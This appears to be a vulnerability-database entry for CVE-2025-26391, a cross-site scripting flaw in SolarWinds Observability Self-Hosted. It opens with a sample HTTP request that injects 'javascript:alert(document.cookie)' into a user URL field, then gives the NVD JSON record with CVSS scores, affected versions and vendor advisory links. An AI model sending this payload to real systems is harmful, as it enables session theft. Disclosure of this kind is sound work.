CVE-2025-26391

POST /api/v1/user/url HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer <low-privilege-token> { "url": "javascript:alert(document.cookie)" }

{"cve": {"id": "CVE-2025-26391", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:50.220", "lastModified": "2025-11-24T16:31:55.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SolarWinds Observability Self-Hosted XSS Vulnerability. The SolarWinds Platform was susceptible to a XSS vulnerability that affects user-created URL fields. This vulnerability requires authentication from a low-level account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:solarwinds:observability_self-hosted:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.4.1", "matchCriteriaId": "A5B85936-AD69-4C2E-ADE4-1AA4EA612B4C"}]}]}], "references": [{"url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/hco_2025-4-1_release_notes.htm", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-26391", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}